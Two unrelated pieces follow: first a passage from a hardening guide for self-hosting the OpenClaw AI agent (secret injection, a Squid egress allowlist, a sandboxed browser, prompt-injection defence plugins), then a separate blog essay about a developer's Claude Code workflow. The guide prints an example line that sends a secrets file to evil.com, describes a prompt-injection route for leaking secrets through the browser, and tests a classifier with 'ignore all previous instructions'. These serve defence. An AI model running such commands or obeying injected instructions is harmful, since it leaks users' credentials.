The wizard walks you through choosing a provider, a messaging channel, and basic skills. Paste API keys directly to get things running — we’ll switch to 1Password-injected secrets next. I personally use OpenAI as my provider via Oauth to reuse my ChatGPT subscription.

openclaw status
openclaw doctor  # Surfaces risky or misconfigured settings

Switch to 1Password secrets injection

cat > ~/.openclaw/.env << 'EOF'
TELEGRAM_BOT_TOKEN=op://OpenClaw/Telegram Bot Token/credential
ANTHROPIC_API_KEY=op://OpenClaw/ANTHROPIC_API_KEY/credential
GEMINI_API_KEY=op://OpenClaw/GEMINI_API_KEY/credential
SLACK_BOT_TOKEN=op://OpenClaw/SLACK_BOT_TOKEN/credential
SLACK_APP_TOKEN=op://OpenClaw/SLACK_APP_TOKEN/credential
GOG_KEYRING_PASSWORD=op://OpenClaw/GOG_KEYRING_PASSWORD/credential
EOF

Only include references for keys you’ve already added to the vault. The format is op://VaultName/ItemName/FieldName.

Test it:

openclaw gateway stop
op run --env-file=~/.openclaw/.env -- openclaw gateway

op run resolves each op:// reference at runtime, injecting real values into the process. Once confirmed working, you can remove the plaintext keys the onboarding wizard wrote to ~/.openclaw/agents/<agentId>/agent/auth-profiles.json.

9. Configure Multi-Model Routing

The goal: cheap models for routine tasks, expensive ones only when needed.

{
  "agents": {
    "defaults": {
      "model": {
        "primary": "openai/gpt-5-4",
        "fallbacks": [
          "google/gemini-3-flash-preview",
          "anthropic/claude-sonnet-4-5"
        ]
      },
      "heartbeat": {
        "model": "google/gemini-3-flash-preview"
      }
    }
  }
}

On-the-fly model switching from chat:

/model anthropic/claude-opus-4-6    # Switch to Opus for a hard task
/model openai/gpt-5-mini            # Switch back

Add model aliases in openclaw.json so you can type /model opus instead of the full path.

A note on OpenAI subscription access: Anthropic cracked down on third-party tools using subscription OAuth in January 2026. OpenAI could do the same. Always keep API-based fallbacks (Gemini, Claude) configured and tested so you’re not stranded if subscription access gets revoked.

10. Set Provider-Level Spend Limits

OpenClaw has no built-in spend cap. Enforce limits at the provider level — this is actually better, since it stops runaway costs even if OpenClaw has a bug.

Natural fallback protection: when your Anthropic cap is hit, the API returns errors, OpenClaw sees failures, and falls back to your Gemini or OpenAI model for the rest of the month.

11. Network Egress Control (Split Architecture)

This is the most important hardening step, and the one that gets skipped most often.

The problem: the OpenClaw gateway holds all your secrets — API keys, OAuth tokens, 1Password token. But the browser needs open internet access to browse arbitrary sites. Run both with unrestricted egress and a prompt injection can exfiltrate secrets via a shell command. Lock both down with a strict allowlist and you cripple the browser.

The solution is to split them: gateway traffic goes through a domain allowlist, browser traffic goes directly to the internet but has no access to secrets.

Step 1: Install and configure Squid proxy

sudo apt install -y squid

sudo tee /etc/squid/allowed_domains.txt > /dev/null << 'EOF'
# AI providers
.anthropic.com
.claude.ai
.openai.com
.googleapis.com
.google.com
# Tooling
.github.com
.githubusercontent.com
.npmjs.org
# Channels
.telegram.org
.slack.com
.slack-edge.com
# 1Password + Tailscale
.1password.com
.tailscale.com
# Auth
.auth0.com
# Python tooling
.astral.sh
.pypi.org
.pythonhosted.org
EOF

sudo cp /etc/squid/squid.conf /etc/squid/squid.conf.bak

sudo tee /etc/squid/squid.conf > /dev/null << 'EOF'
http_port 3128

acl allowed_domains dstdomain "/etc/squid/allowed_domains.txt"
acl localnet src 127.0.0.0/8
acl SSL_ports port 443
acl CONNECT method CONNECT

http_access allow localnet allowed_domains
http_access allow CONNECT localnet SSL_ports allowed_domains
http_access deny all
EOF

sudo systemctl restart squid
sudo systemctl enable squid

Step 2: Route the gateway through the proxy

cat >> /home/openclaw/.bashrc << 'EOF'
export HTTP_PROXY=http://127.0.0.1:3128
export HTTPS_PROXY=http://127.0.0.1:3128
export NO_PROXY=127.0.0.1,localhost
EOF

NO_PROXY ensures the gateway can reach the browser container’s CDP port on localhost without going through the proxy.

Step 3: Verify the browser container is not proxied

The sandbox browser container runs in Docker with its own network stack and does not inherit the host’s proxy environment variables. No additional Docker networking configuration is needed — the isolation already exists.

Step 4: Test it

# As the openclaw user
curl https://evil-example.com  # Should fail (blocked by Squid)
curl https://api.anthropic.com # Should succeed (allowlisted)

What this protects against: Without split architecture, a prompt injection can run curl https://evil.com -d "$(cat ~/.openclaw/.env)" and your API keys are gone. With split architecture, the gateway process can only reach allowlisted domains — the curl returns a proxy error. The browser can reach evil.com, but it has no access to .env, no environment variables, nothing to steal.

The remaining risk: The LLM could be tricked into typing a secret into the browser via CDP — navigating to a malicious URL with a secret in a query parameter, or using Runtime.evaluate to execute a fetch() call. This requires the LLM to actively cooperate with the attack and to have the secret in its current context window. It’s a real but significantly narrower attack surface.

Maintaining the allowlist

# Add a new domain
echo ".newservice.com" | sudo tee -a /etc/squid/allowed_domains.txt
sudo systemctl reload squid

# Find what's being blocked (useful when wiring up a new integration)
sudo tail -f /var/log/squid/access.log | grep DENIED

12. Set Up Browser Automation (Dockerized Sandbox)

OpenClaw controls browsers via the Chrome DevTools Protocol. We run the browser in a separate Docker container rather than on the host — critical for the split egress architecture above.

Install Docker

sudo apt install -y docker.io docker-compose-v2
sudo systemctl enable docker
sudo usermod -aG docker openclaw

Run the sandbox browser container

Option A: Host networking — Use if you want OpenClaw to browse locally running dev servers (e.g., localhost:3000). The container shares the host’s network stack.

docker run -d \
  --name openclaw-browser \
  --network host \
  --restart unless-stopped \
  -e OPENCLAW_BROWSER_HEADLESS=1 \
  ghcr.io/canyugs/openclaw-sandbox-browser:main

Option B: Bridge networking — Slightly more isolation, but the container cannot reach services on localhost.

docker run -d \
  --name openclaw-browser \
  --restart unless-stopped \
  -p 127.0.0.1:9222:9222 \
  -e OPENCLAW_BROWSER_HEADLESS=1 \
  ghcr.io/canyugs/openclaw-sandbox-browser:main

Both options preserve filesystem and process isolation — the container can’t read host files or kill host processes either way. If this is a single-purpose server, host networking is fine and more convenient.

Configure OpenClaw to use the container

Chrome inside Docker reports WebSocket URLs without the port. The fix is to use a direct ws:// URL which skips the discovery step:

# Get the full WebSocket URL
curl -s http://127.0.0.1:9222/json/version | python3 -c "
import sys, json
url = json.load(sys.stdin)['webSocketDebuggerUrl']
print(url.replace('ws://127.0.0.1/', 'ws://127.0.0.1:9222/'))
"

Use that URL in openclaw.json:

{
  "browser": {
    "enabled": true,
    "attachOnly": true,
    "defaultProfile": "sandbox",
    "profiles": {
      "sandbox": {
        "cdpUrl": "ws://127.0.0.1:9222/devtools/browser/<ID_FROM_ABOVE>",
        "color": "#FF4500"
      }
    }
  }
}

The browser ID changes on every container restart. Use this helper to auto-update the config:

cat > ~/.openclaw/update-browser-cdp.sh << 'SCRIPT'
#!/bin/bash
WS_URL=$(curl -s http://127.0.0.1:9222/json/version | python3 -c "
import sys, json
url = json.load(sys.stdin)['webSocketDebuggerUrl']
print(url.replace('ws://127.0.0.1/', 'ws://127.0.0.1:9222/'))
")

if [ -z "$WS_URL" ]; then
  echo "ERROR: Could not reach CDP on port 9222. Is the container running?"
  exit 1
fi

python3 -c "
import json
with open('$HOME/.openclaw/openclaw.json') as f:
    config = json.load(f)
config['browser']['profiles']['sandbox']['cdpUrl'] = '$WS_URL'
with open('$HOME/.openclaw/openclaw.json', 'w') as f:
    json.dump(config, f, indent=2)
print('Updated cdpUrl to: $WS_URL')
"
SCRIPT
chmod +x ~/.openclaw/update-browser-cdp.sh

Run after every container restart: ~/.openclaw/update-browser-cdp.sh

Fix snapshot/screenshot with bridge networking (iptables port redirect)

If you chose Option B (bridge networking), some OpenClaw operations perform fresh CDP discovery via /json/version and use Chrome’s self-reported portless WebSocket URL, causing ECONNREFUSED 127.0.0.1:80 errors.

Fix with an iptables rule that redirects port 80 to 9222:

sudo iptables -t nat -A OUTPUT -p tcp -d 127.0.0.1 --dport 80 -j REDIRECT --to-port 9222

# Persist across reboots
sudo apt install -y iptables-persistent
sudo netfilter-persistent save

Install Playwright on the gateway side

Some advanced features require Playwright alongside the gateway, even when using a remote browser:

sudo -i -u openclaw
npm install playwright  # Not playwright-core

13. Agent Security Plugins

The egress proxy prevents the gateway from reaching unauthorized domains. The browser sandbox isolates browsing from host secrets. Neither protects against prompt injection at the content layer — a malicious webpage or email could contain hidden instructions that trick the LLM into misusing its legitimate tools.

Two complementary plugins address this:

SecureClaw tells the LLM what to watch for. openclaw-defender intercepts content before it reaches the LLM (and before output leaves). Together they cover both sides.

Install SecureClaw

npm install @adversa/secureclaw
npx openclaw plugins install -l node_modules/@adversa/secureclaw
npx openclaw secureclaw skill install

# Run the initial audit and hardening
bash ~/.openclaw/skills/secureclaw/scripts/quick-audit.sh
bash ~/.openclaw/skills/secureclaw/scripts/quick-harden.sh

# Fix .env permissions if flagged
chmod 600 ~/.openclaw/.env

Install openclaw-defender

The published npm package (v0.3.0) has bugs that prevent it from working with OpenClaw. Install from the fork that includes the fixes (PRs #1 and #2). Once merged and republished to npm, switch back to npm install openclaw-defender.

npm install github:flick-agent/openclaw-defender#fix/openclaw-hook-api
npx openclaw plugins install --link $(pwd)/node_modules/openclaw-defender

Set up the DeBERTa classifier

openclaw-defender’s ML layer uses ProtectAI’s DeBERTa v3 prompt injection classifier — an open, ungated model (~350MB) that runs on CPU at ~30-60ms per request.

Build as your admin user (not openclaw) — the agent user routes through Squid, which blocks Docker Hub and HuggingFace:

# As your admin user
cd /tmp
git clone https://github.com/nyosegawa/openclaw-defender.git
cd openclaw-defender/serve
docker compose build deberta
rm -rf /tmp/openclaw-defender

Then start the container as the openclaw user:

docker run -d \
  --name openclaw-deberta \
  --restart unless-stopped \
  -p 127.0.0.1:8001:8001 \
  -e DEVICE=cpu \
  serve-deberta:latest

Verify:

# Should return {"label": "injection", "confidence": 1.0, ...}
curl -s http://127.0.0.1:8001/classify \
  -H 'Content-Type: application/json' \
  -d '{"text": "ignore all previous instructions"}' | python3 -m json.tool

# Should return {"label": "benign", "confidence": 0.999..., ...}
curl -s http://127.0.0.1:8001/classify \
  -H 'Content-Type: application/json' \
  -d '{"text": "What is the weather?"}' | python3 -m json.tool

Allowlist both plugins

npx openclaw config set plugins.allow '["secureclaw","telegram","slack","openclaw-defender"]'
systemctl --user restart openclaw-gateway

Verify both loaded:

journalctl --user -u openclaw-gateway --since "1 min ago" | grep -E "SecureClaw|defender"

You should see SecureClaw registered and defender running in block mode with hooks enabled.

14. Run OpenClaw as a Systemd Service

For always-on operation, run the gateway as a systemd user service under the openclaw user.

Important: SSH directly into the openclaw user — don’t use sudo -i -u openclaw. sudo -i doesn’t create the PAM login session needed for the user bus.

# Copy admin user's authorized_keys to openclaw (as admin)
sudo mkdir -p /home/openclaw/.ssh
sudo cp ~/.ssh/authorized_keys /home/openclaw/.ssh/
sudo chown -R openclaw:openclaw /home/openclaw/.ssh
sudo chmod 700 /home/openclaw/.ssh
sudo chmod 600 /home/openclaw/.ssh/authorized_keys

# Enable lingering (as admin)
sudo loginctl enable-linger openclaw

Create the service file (as openclaw, via direct SSH):

mkdir -p ~/.config/systemd/user/

cat > ~/.config/systemd/user/openclaw-gateway.service << 'EOF'
[Unit]
Description=OpenClaw Gateway
After=network-online.target
Wants=network-online.target

[Service]
ExecStart=/bin/bash -c 'source /home/openclaw/.op_token && /usr/local/bin/op run --env-file=/home/openclaw/.openclaw/.env -- /home/openclaw/.nvm/versions/node/v22.22.1/bin/node /home/openclaw/.nvm/versions/node/v22.22.1/lib/node_modules/openclaw/dist/index.js gateway --port 18789'
Restart=always
RestartSec=5
TimeoutStopSec=30
TimeoutStartSec=30
SuccessExitStatus=0 143
KillMode=control-group
Environment=HOME=/home/openclaw
Environment=TMPDIR=/tmp
Environment=GOG_ACCOUNT=yourname.agent@gmail.com
Environment=PATH=/home/openclaw/.nvm/current/bin:/home/openclaw/.local/bin:/home/openclaw/.npm-global/bin:/home/openclaw/bin:/usr/local/bin:/usr/bin:/bin

[Install]
WantedBy=default.target
EOF

Notes on the service file:

• Uses source ~/.op_token to load OP_SERVICE_ACCOUNT_TOKEN — not a plaintext Environment= line.
• Full absolute paths to op, node, and the OpenClaw entrypoint — no reliance on nvm.sh or shell PATH.
• GOG_KEYRING_PASSWORD is NOT here — it’s injected via op run.
• HTTP_PROXY/HTTPS_PROXY go here after completing Section 11. Do not add them before — they’ll prevent the gateway from reaching 1Password and cause a crash loop.

systemctl --user daemon-reload
systemctl --user enable openclaw-gateway
systemctl --user start openclaw-gateway
systemctl --user status openclaw-gateway
journalctl --user -u openclaw-gateway -f

Expose via Tailscale

sudo tailscale serve --bg 18789

15. Connect Messaging Channels

WebChat

WebChat runs directly on the Gateway — no third-party servers involved.

sudo tailscale serve --bg 18789

Access from any device on your tailnet at https://openclaw-server.<tailnet-name>.ts.net.

Add to openclaw.json:

{
  "gateway": {
    "trustedProxies": ["127.0.0.1", "100.0.0.0/8"],
    "controlUi": {
      "allowedOrigins": ["https://openclaw-server.<tailnet-name>.ts.net"]
    }
  }
}

First-time device pairing: The gateway requires one-time approval for each new browser/device. On first connection you’ll see “pairing required.”

1. Temporarily add "dangerouslyDisableDeviceAuth": true to the controlUi block.
2. Restart the gateway, open the dashboard, enter your gateway token.
3. Remove dangerouslyDisableDeviceAuth and restart. Your browser stays paired.

To pair additional devices: openclaw devices approve <requestId> from a device that’s already connected.

Telegram

Add to openclaw.json:

{
  "channels": {
    "telegram": {
      "enabled": true,
      "dmPolicy": "allowlist",
      "allowFrom": ["YOUR_NUMERIC_USER_ID"]
    }
  }
}

Connect and pair:

1. Restart the gateway.
2. Open Telegram and send a message to your bot.
3. The bot sends you a pairing code. On the server: openclaw pairing approve telegram <CODE>

The allowFrom allowlist is not optional — without it, anyone who finds your bot’s @username can message it.

Slack

Note I highly recommend Slack as your primary channel. The thread:session setup is very nice for keeping context isolated and running tasks in parallel.

1. Go to api.slack.com/apps → “Create New App” → “From scratch.”
2. Enable Socket Mode: Settings → Socket Mode → Toggle ON. Create an App Token with connections:write scope.
3. Add Bot Scopes: chat:write, channels:history, im:history, im:write, app_mentions:read, assistant:write, files:read, files:write (and others as needed).
4. Subscribe to Events: app_mention, message.channels, message.groups, message.im.
5. Install to Workspace. Copy the Bot Token (xoxb-...).

Store both tokens in 1Password and add to ~/.openclaw/.env:

SLACK_BOT_TOKEN=op://OpenClaw/SLACK_BOT_TOKEN/credential
SLACK_APP_TOKEN=op://OpenClaw/SLACK_APP_TOKEN/credential

Add to openclaw.json:

{
  "channels": {
    "slack": {
      "enabled": true,
      "mode": "socket",
      "dmPolicy": "allowlist",
      "allowFrom": ["YOUR_SLACK_USER_ID"],
      "requireMention": true,
      "replyToModeByChatType": { "channel": "first" },
      "ackReaction": "agent"
    }
  }
}

Pair: restart the gateway, DM the bot, get the pairing code, then openclaw pairing approve slack <CODE>.

Multi-channel strategy

Run WebChat as your primary (fastest, lowest latency) and Telegram as your mobile channel. With dmScope set to "main" (default), messages from both share the same session context — start a conversation on your phone, continue it at your desk.

On SMS: don’t use it for primary interaction. Messages are unencrypted in transit, stored in plaintext on carrier servers, and vulnerable to SIM swapping. If you add SMS later (via Twilio), use it only for outbound alerts — not for sending commands that include sensitive context.

16. Session Management & Memory

• Sessions are scoped to user + channel + agent
• Full transcripts stored as JSONL: ~/.openclaw/agents/<agentId>/sessions/<session-id>.jsonl
• Sessions rotate at 4:00 AM by default. Manual: /new or /reset in chat.
• MEMORY.md survives across sessions. Auto-compaction writes important facts from long conversations into MEMORY.md before summarizing older messages.

openclaw sessions list              # See all active sessions
openclaw sessions view <session-id> # Full message history

Cost tracking per session:

# Total cost for a session
jq -r 'select(.message.usage.cost.total) | .message.usage.cost.total' \
  ~/.openclaw/agents/<agentId>/sessions/<session-id>.jsonl \
  | paste -sd+ | bc

# Daily cost summary across all sessions
for f in ~/.openclaw/agents/<agentId>/sessions/*.jsonl; do
  date=$(head -1 "$f" | jq -r '.timestamp' | cut -dT -f1)
  cost=$(jq -r 'select(.message.usage.cost.total) | .message.usage.cost.total' "$f" \
    | paste -sd+ | bc 2>/dev/null || echo 0)
  echo "$date $cost $(basename $f)"
done | sort -r

17. Claude Code Delegation via ACPX

One of the more powerful things OpenClaw can do is delegate coding tasks to Claude Code as a subagent. Rather than OpenClaw trying to run code itself, it hands off structured coding prompts to Claude Code and waits for results — using ACPX, a headless CLI client for the Agent Client Protocol (ACP).

The practical upside: you can authenticate Claude Code with your Claude.ai subscription (no separate API key needed for the coding agent), and OpenClaw can queue, run, and inspect Claude Code sessions programmatically.

Install Claude Code on the server

# As the openclaw user
npm install -g @anthropic-ai/claude-code@latest

# Authenticate with your Claude.ai subscription
claude login
# Follow the browser auth flow via SSH tunnel if needed (same approach as gogcli in Section 7)

Claude Code’s auth token is stored in ~/.claude/. It survives server restarts and does not require a running browser session.

Install ACPX

npm install -g acpx@latest

# Verify
acpx --version

# Initialize global config
acpx config init

Session state lives in ~/.acpx/. No additional daemon is required.

Install the ACPX skill into OpenClaw

This gives OpenClaw the SKILL.md reference it needs to know how to invoke ACPX correctly:

npx acpx@latest --skill install acpx

Configure ACPX to use the local OpenClaw gateway

Add to ~/.acpx/config.json to point the openclaw agent at your local gateway instance:

{
  "defaultAgent": "claude",
  "defaultPermissions": "approve-all",
  "agents": {
    "openclaw": {
      "command": "env OPENCLAW_HIDE_BANNER=1 node scripts/run-node.mjs acp --url ws://127.0.0.1:18789 --token-file ~/.openclaw/gateway.token --session agent:main:main"
    }
  }
}

Test the delegation

# Ask Claude Code a coding task via ACPX
acpx claude "explain the structure of this repo"

# Named parallel sessions — useful for running multiple tasks concurrently
acpx claude -s backend "implement token pagination"
acpx claude -s frontend "update the API docs"

# Queue a prompt without waiting for the result
acpx claude "run the test suite and fix any failures" --no-wait

# Check session status
acpx status

# View recent session history
acpx sessions history --limit 10

How it fits into the security model

Claude Code runs as the openclaw user and inherits the Squid proxy egress restrictions from Section 11. Its outbound traffic — npm installs, GitHub API calls, documentation fetches — routes through the allowlist. If Claude Code needs to reach a domain that isn’t listed, add it to /etc/squid/allowed_domains.txt and reload Squid.

Claude Code does not have access to the browser container or its CDP port directly — that’s still mediated by the OpenClaw gateway.

Egress additions for Claude Code

Add these to your Squid allowlist if Claude Code needs them:

echo ".npmjs.com" | sudo tee -a /etc/squid/allowed_domains.txt
echo ".registry.npmjs.org" | sudo tee -a /etc/squid/allowed_domains.txt
sudo systemctl reload squid

18. Quick Reference

Key file locations

Essential commands

openclaw status                    # Gateway and channel status
openclaw doctor                    # Security and config audit
openclaw sessions list             # List active sessions
openclaw models list               # Available models
openclaw gateway restart           # Restart the gateway
openclaw plugins list              # Installed plugins

Chat commands (Telegram / WebChat)

/status                            # Session status, model, token count
/model <provider/model>            # Switch model
/model opus                        # Switch using alias
/new                               # Start a fresh session
/reset                             # Reset current session

Architecture Summary

The full picture once everything is wired up:

The gateway is the trust boundary. It holds the secrets, and its network access is locked down. The browser is the open channel to the web, and it has nothing worth stealing.

As I mentioned in my last post, I’ve been thinking about how to teach junior developers the intuition that makes me productive with AI tooling. Same disclaimer: I understand there are studies suggesting developers only think they’re more productive. Based on what I’ve been able to measure, I do feel that my output has materially increased. Your mileage may vary.

I know Pi is gaining popularity right now, however I haven’t really gotten up to speed on it yet. I have used Claude Code since it launched. Before that, I used Continue.dev and actually contributed code to it early on. I was impressed at what it could do, but the initial agentic solutions hadn’t particularly impressed me. I was in the camp of wanting a chat interface where I controlled the context window and evaluated everything myself.

Claude Code changed my mind. I started using it heavily, though it took me a long time to feel comfortable with --dangerously-skip-permissions. Now, a year and a half later, I continue to use it as my primary interface. The main reason: Claude Code is opinionated. It ships with more batteries included than something like Pi. Pi’s philosophy is heavy customization, which is great, but I appreciate that I can install vanilla Claude Code on my personal machine, on my work machine, and have the same core experience in both places. I like plan mode. I like the flow. I’ve developed trust in its operating modality.

Every month there’s some new revolutionary tool that everyone gets excited about. Some have sticking power. Most don’t. And I think a lot of developers waste time chasing them. There’s a real cost to constantly resetting your familiarity with your primary tool. FOMO is real, but building deep comfort with a stable set of tools matters more than staying on the bleeding edge. Don’t get me wrong, I love tinkering with my dev environment as much as the next coder, but most of the time I want trusty, predictable, low-fuss tools that don’t get in the way of getting things done.

I’ll return to this point at the end. It’s more important than it sounds.

How I Approach a Problem

I am a heavy user of plan mode. My role, as I see it now, is not to be responsible for every line of code. It’s to own the architecture: design patterns, data flow, contracts, and making sure the AI is pointed at the right problem.

This is where being able to articulate what you’re talking about gives you a real leg up. I use Mac Whisper for dictation and word-vomit context into prompts. I include links to repos I’m interfacing with and let Claude pull documentation and explore underlying implementations. I use the GitHub CLI as my Git interface (not the MCP), and I regularly point Claude at repos or sections of repos to pull as context.

Here’s why that matters: LLMs are good at finding local maxima within a set of changes. They’re not always good at finding global maxima. If the AI only sees the folder you have open, it will optimize within that folder. It won’t know about the pattern three directories over that already does what you’re asking for. Telling the LLM “you have access to these repos, you are totally allowed to cd and explore” or “here’s my architecture, you can git clone around dependent service repos” makes a real difference.

I’ve paired with developers who seem stuck within the boundary of what’s open in their IDE. They don’t give the AI permission to explore beyond that, and they don’t feed it the broader context it needs to find globally optimal solutions. I think that’s one of the most common and most fixable mistakes people make with these tools.

Your Harness Is Your Ceiling

At Shopify, we have MCPs for just about everything: internal documentation, the build system, and observability platforms. We have CI pipelines with extensive tests and checks that provide guardrails around the code LLMs write. That connectivity is powerful, but it took real intention to build.

I compare that to my experience at non-tech companies and startups. Those organizations are at a disadvantage right now, because the scaffolding around the AI is what makes it effective. The AI itself is the same everywhere. The difference in outcomes come from what you wrap around it: linters with custom rules, LSP integration, build checks, test suites. If you’re on GitHub, giving your LLM API access so it can work with your Actions logs is a force multiplier.

Your scaffolding is the limiter. Not the model.

The Workflow

Assume I’ve got my scaffolding in place: MCPs, GitHub tokens, the CLI configured to access the multiple repos in my stack. Here’s what a typical session looks like.

I start with --dangerously-skip-permissions. I provide links, screenshots, and structured context. My typical opening: “This is everything I understand about the problem: This is my intuition for where in the codebase we should be making changes: Can you validate that? Can you propose an implementation?” Then I let it run in plan mode.

Why --dangerously-skip-permissions? Because sometimes in plan mode, Claude still asks for permission the first time it reads something. Plan mode already prevents destructive edits. The risk is low, and the interruptions slow me down.

This is where context switching starts. I use multiple worktrees, each with its own Claude Code instance in plan mode. I get one started, let it plan, switch to another, let it plan, repeat. I’ll come back to why I think this pattern matters in a later section.

When a plan finishes, I interrogate it. Nine times out of ten, I should find something that needs work in the first plan. I ask it to walk me through the stack and the code. I command-click file paths in the terminal to trace the code myself. This is why I run Claude Code inside an IDE, not in a standalone terminal. I see people who run purely in terminals or slack bots and rely entirely on what the AI says about the code. That’s a trap. Operating inside the IDE and being able to jump to the code helps me build real institutional knowledge of the codebase.

After iterating on the plan, I feed it a Graphite skill and ask it to plan a stack of atomic PRs. I had never used Graphite until I started at Shopify, and I’ll admit: I initially hated Graphite. However, I’ve come to appreciate it. Atomic stacked PRs make review easier and let me verify changes in small, testable units. Once the plan and PR stack are solid, I tell it to go: open draft PRs, write descriptions according to the repo template (or a format I specify), and reference my previous PRs for style.

At this point I can sometimes switch from Opus to Sonnet for execution. A good plan makes the code changes surgical enough that a lower-tier model handles them fine. I tell it to check CI, fix anything that fails, and let me know when it’s done. I’ve watched it sleep for a while as it waits for CI to run, then use the GitHub CLI and our build system MCP to pull logs, diagnose failures, and amend. By the time a PR gets back to me, it’s buttoned up.

I take full ownership of everything I submit. Before I take a PR out of draft, I review the diffs, do manual verification beyond the automated suite, take screenshots or record a video of the behavior (if there are UI impacts), and edit the PR description where needed. I do vibe-code certain things, but I make sure to delineate between experimental/low-risk stuff versus the things where I’m in the loop and taking real liability.

Working Code Is Not the Same as Good Code

As an example of a potential AI trap, I recently fed an AI lots of context on a backend service change. It produced a working implementation. Unit tests passed. I ran curls for end-to-end verification. Everything looked fine.

Then I looked closer. What I had wanted was simple: extend an existing section by overriding a small function, expose a different route for similar but sufficiently different functionality, and cut over from the old route. The AI wrote more code than needed because it didn’t recognize an existing pattern it could have leveraged. It worked, but it was architecturally subpar and would have contributed most spaghetti code.

I caught it because I knew the design patterns in that codebase. We iterated on the feedback and landed on a simplified implementation that matched what I had in my head. Much cleaner, fewer moving parts. I also had it update a memory based on the iterations we went through to get to the ideal design (this is functionally done via appending the user-scoped Claude.md). I’ve seen lots of criticism that basically boils down to “if an AI can’t one-shot the problem, it’s useless because it won’t learn from feedback”. I like the different scopes of memory files in Claude Code to help refine the AI’s approach in the future.

This is why you need to stay in the loop. An LLM can produce code that passes every test you throw at it and still be the wrong solution from a software engineering standpoint.

Debugging: Correlation Is Not Causation

LLMs are good at identifying correlation. They can be lazy about causation. And their default instinct when debugging errors is to wrap them in better error handling so they stop surfacing. I’ve noticed this pattern repeatedly: you point the AI at an error, and its first proposal is to catch it more gracefully. That’s almost never the right fix.

Here’s an example that illustrates the problem well. We had intermittent 404s surface in our error-tracking system caused by a file hash that would periodically invalidate. The AI identified a correlation with deployments (the hashes would change as new pods came online) and proposed handling the error more gracefully by falling back to the unhashed source file.

I asked it to trace the code for me, step by step. As I read the trace, I noticed we were already handling this scenario somewhere else. And that’s what led me to the actual cause: a later function that exposed all files in bulk on a route without filtering out stale hashes. The error handler the AI wanted to fix was a red herring. The real fix was a filter on the pages we were exposing.

The AI had the correlation right. It just reached for the shortest path to make the symptom disappear.

Now in my debugging prompts, I explicitly ask the AI to identify correlation and demonstrate a causation mechanism. That framing forces it to go deeper. In this case, once I pressed it to demonstrate causation rather than just proposing a fix based on correlation, it went back to the logs, realized the hashed files were persisting well beyond the deployment window, and found the real fix on its own.

This is a simplistic application of the scientific method to AI-powered debugging. Not revolutionary, but the difference in one-shot success rate has been meaningful.

Managing Agents Is Managing People

This is the section where I want to spend some time, because I think the analogy is more precise than it might seem at first.

When I was a director managing a 30-person engineering org, I had to build the muscle for context switching all day. It wasn’t natural. Early on, I was used to going deep on problems myself. Driving them. Having the full context. Transitioning to management meant developing a different skill: getting good at framing problems consistently so that my team and I shared the same assumptions and heuristics for success, and then checking in at the right intervals to correct course.

The key was how you frame things and when you check in. I could have just said “here’s the task, figure it out, let me know when it’s done.” That’s a mode of management, but it’s not a good one. The good version is: make sure there’s enough shared understanding of the problem that you can catch divergence early. Not micromanagement - more like calibrated oversight.

I think about this a lot now, because managing AI agents follows a very similar pattern. Some developers give Claude a prompt, let it run a plan, let it execute, and check the code at the end. That’s the “figure it out, let me know when it’s done” school of management. It produces output. It does not produce reliably good output.

What I do instead is iterate on the plan. That’s the check-in. That’s where I catch the AI heading for a local maximum when I know there’s a better approach. That’s where I catch it about to add 200 lines when the existing pattern needed 20 lines extended.

A weakness that I’ve observed in a lot of engineering leaders is they can be effective ideators and vision-casters, but then they lose the plot as things get implemented. Implementation decisions accumulate, and the leader’s mental model of how the system works starts diverging from how it’s actually built. I was always intentional about trying to prevent that. I did that via working closely with my engineers to understand key implementation decisions, staying close enough to the code that my context window of how things actually worked stayed accurate.

That same discipline is directly applicable here. If you don’t interrogate the plan, if you don’t trace the code, if you don’t review the diffs; you develop the same kind of context drift with your AI agents that a hands-off manager develops with their team. You think the system works one way. It actually works another. And that gap bites you eventually.

Context Switching as a Learnable Skill

AI is pushing developers into a multi-threaded world. Previously, most developers were single-threaded, and that was fine. Celebrated, even. In this new AI world, the ones who can context switch effectively will take the most advantage of these tools. And, I think it’s worth being explicit about what makes context switching work, because it’s a skill that can be developed systematically.

Think about it like programming a concurrent system. When I write async code, I don’t mix the individual coroutine logic with the orchestration of those coroutines. That’s a design mistake I’ve made before, and it creates systems that are hard to reason about. Instead, I write each unit of operation as a clear, self-contained atomic function like process_one_thing() Then I scale parallelism separately via an orchestration layer where I handle how many things I pass to it, how many things I pass to it at once, and how to gather the results of processing all the things. The individual function doesn’t know or care how many other instances of itself are running. It just does its thing.

Context switching between AI agents works the same way. The “atomic function” is one worktree, one plan, one stack of PRs. If you define that unit cleanly, then scaling up the number of parallel threads is just an orchestration problem. Your brain has a semaphore. Initially it caps you at maybe two or three concurrent threads. As you get better at defining the atomic unit and trusting your process, you can increase that cap.

To use a Python analogy: early on, your brain is like an asyncio.Semaphore(2). You can maybe handle two worktrees that turn into two separate open PRs before you start losing context trying to switch back and forth. As you build the muscle, and you optimize the individual “coroutine” (your plan mode iteration, your review process, etc…), you start to increase that semaphore. You gather over more coroutines. And breaking work into atomic pieces with stacked PRs actually makes this easier, not harder. You can go deeper on any individual thing you’re switching to because the unit of work is small and well-defined. You don’t have to maintain both depth and breadth simultaneously.

I think this is also why I’ve come around on stacked PRs in general. They force you to think about changes atomically. That structure doesn’t just help with code review. It helps with the whole flow of managing parallel agent work.

The Reinforcement Loop

As you dial this in, something interesting happens. You build a reinforcement loop. You get comfortable with your models, tools, and prompts. You learn the common failure modes of the harnesses you’re using. You refine your prompts based on what you’ve seen work and what hasn’t. You develop a sense for what the output should look like before you even read it.

That loop is why I keep coming back to tool mastery over tool-hopping. Every time you switch to a new tool, you reset that loop. You lose the accumulated knowledge of how this particular tool tends to fail, what prompting strategies work with this particular system prompt, what the output looks like when it’s heading in the wrong direction. If the goal is maximizing productivity while building your own engineering judgment (and like I said in my last post, I think that caveat to productivity is key to the future of software engineering), there’s real value in staying with a tool long enough to complete several full turns of that feedback cycle.

If we think about software engineering as craft, a craftsman needs mastery of their tools. That extends to AI tooling. The goal isn’t just to output code rapidly. It’s to build your own internal context while doing so. Know the core architecture, the data flows, and the contracts in your codebase well enough to ideate and communicate how things function. I think that’s the bare minimum for engineers in this AI-augmented world: not every line of code, but enough of the structural picture that you can catch the AI when it’s heading somewhere wrong.

Wrapping Up

If you’ve made it this far, I’ll leave you with this: I don’t claim to have all the answers. I’m simply sharing from the perspective of having managed an org of 30 engineers and now being an IC who spends his days executing multiple projects in parallel between agents. In future posts, I plan to dive deeper into MCP and tool design best practices, which I think is a topic that deserves its own treatment, since those are so critical to successful AI coding. For now, this blog is my attempt to distill my experience/intuition into something teachable, and I hope some of this has been useful.
